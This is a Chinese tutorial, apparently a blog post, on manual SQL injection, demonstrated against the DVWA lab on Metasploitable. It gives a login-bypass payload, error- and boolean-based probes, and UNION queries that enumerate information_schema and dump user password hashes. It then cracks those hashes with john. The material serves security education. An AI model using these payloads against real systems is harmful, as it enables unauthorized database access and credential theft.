手动挖掘漏洞---SQL注入(一)

SQL注入

所谓SQL注入,就是通过使用POST或GET方式把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

程序存在SQL注入,追其原因,就是代码或编码的不完善

如常见的用户登陆,举个简单的例子:

1
SELECT * FROM users WHERE user='uname' AND password='pass'

一般情况下,通过布尔判断,只要SQL语句为真,即为登陆成功。这句SQL语句意思是查询users表中是否存在用户名为uname,密码为pass的用户,语句为真即登陆成功,语句为假即登陆失败。

若在不知道用户名和密码的情况下,我们可以将【pass】替换为【’ or 1=1 – 】

1
SELECT * FROM users WHERE user='uname' AND password='' or 1=1 -- '

注:【– 】 可以用来注释掉后边的语句。
根据布尔判断,这句话就可以成真了,登陆成功

一些简单判断是否存在SQL注入的方法:

  • 基于报错的检测方法(low)

    • ‘ “ % ( )
  • 基于布尔的检测

    • 1’ and ‘1’=’1  或  1’ and ‘1
    • 1’ and ‘1’=’2  或  1’ and ‘0
  • 表列数/显示信息位于哪一列

    • ‘ order by 9–+ #按查询列号
      (如select * from table order by n 表示select里面的第n个字段)
      select * 时表字段数=查询字段数
  • 联合查询

    • ‘ union select 1,2–+
    • ‘ union all select database(),2–+
      (联合查询前后语句的查询字段数要相等)

下面用metasploitable中的dvwa(low)进行演示
imgage
这个提交表单作用是根据用户输入id ,返回用户的first_name、subname;

当我们不根据规则,输入一些不规范的数据,如“’”
imgage
imgage
网页报错了,并返回了信息,可以判断是MySQL的数据库,错误原因是引号无法闭合。
也可以利用布尔值判断
image
image
image
当输入1’ and ‘1’=’1 ,语句为真,程序执行 ;1’ and ‘1’=’2 ,语句为假,程序不执行;

基于这些判断,就可以认为存在SQL注入
现在可以猜解select中的字段个数,利用“order by”语句 可以从1开始(注意空格)
image
当数值到3时,网页报错 “Unknown column ‘3’ in ‘order clause’”
说明,查询的字段个数为2;

然后我们可以利用联合查询语句,查询一些有用的信息
image
因为union查询前后查询字段个数要相等,这里用1,2代替,1,2也可以替换成一些函数
image
image

‘ union select database(),substring_index(user(),”@”,1) –
(字符串截取substring_index(str, “分隔符”,计数))
利用hackbar构造语句提交
imgage

常用可SQL查询内容:

  • DB用户:user()
  • DB版本:version()
  • 全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os
  • 当前库: database()
  • ASCII转字符:char()
  • 连接字符串:CONCAT_WS(CHAR(32,58,32),user(),database(),version())
  • 计算哈希:md5()
  • Mysql 数据结构
    • information_schema

使用连接字符串函数查询(ascii码中,32为空格,58为冒号:)
image
image

Mysql数据结构

对表的meta data的查询需要使用information_schema.tables, table_schema是数据库的名称,table_name是具体的表名,table_type指的是表的类型
MySQL:所有的元数据都保存在一张元数据表【information_schema】

查看所有库所有表/统计库中表的数量

1
' union select table_name,table_schema from information_schema.tables --

查询所有数据库中的所有表
image

1
' union select table_schema,count(*) from information_schema.tables group by table_schema --

统计每个数据库中的表数量
image

Dvwa库中的表名

1
' union select table_schema,table_name from information_schema.tables where table_schema='dvwa' --

查询dvwa库的表
image

查询列名字段

1
' union select table_name,column_name from information_schema.columns where table_schema="dvwa" and table_name="users" --

查询users表中的列名字段
image

查询表中数据

1
' union select user,password from dvwa.users --

查询users表中的用户名、密码
image

到这里,用户名和密码都知道了,但是密码是加密过的,我们可以通过在线或离线的破解
可以利用一些工具对密码使用的加密方式进行判断

1
root@kali:/# hash-identifier

判断出来是md5哈希加密
这里用离线破解的方式
先将用户名密码保存至文件夹,格式如下
image
用john进行破解

1
root@kali:/# john --format=raw-MD5 dvwa.txt

image
如果出现以下错误,说明命令已经执行过了

1
2
3
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
No password hashes left to crack (see FAQ)

命令执行后,会在“~”家目录里生成.john/的文件夹,里面有日志和破解后的明文文件
要再执行,删除这两个文件即可
image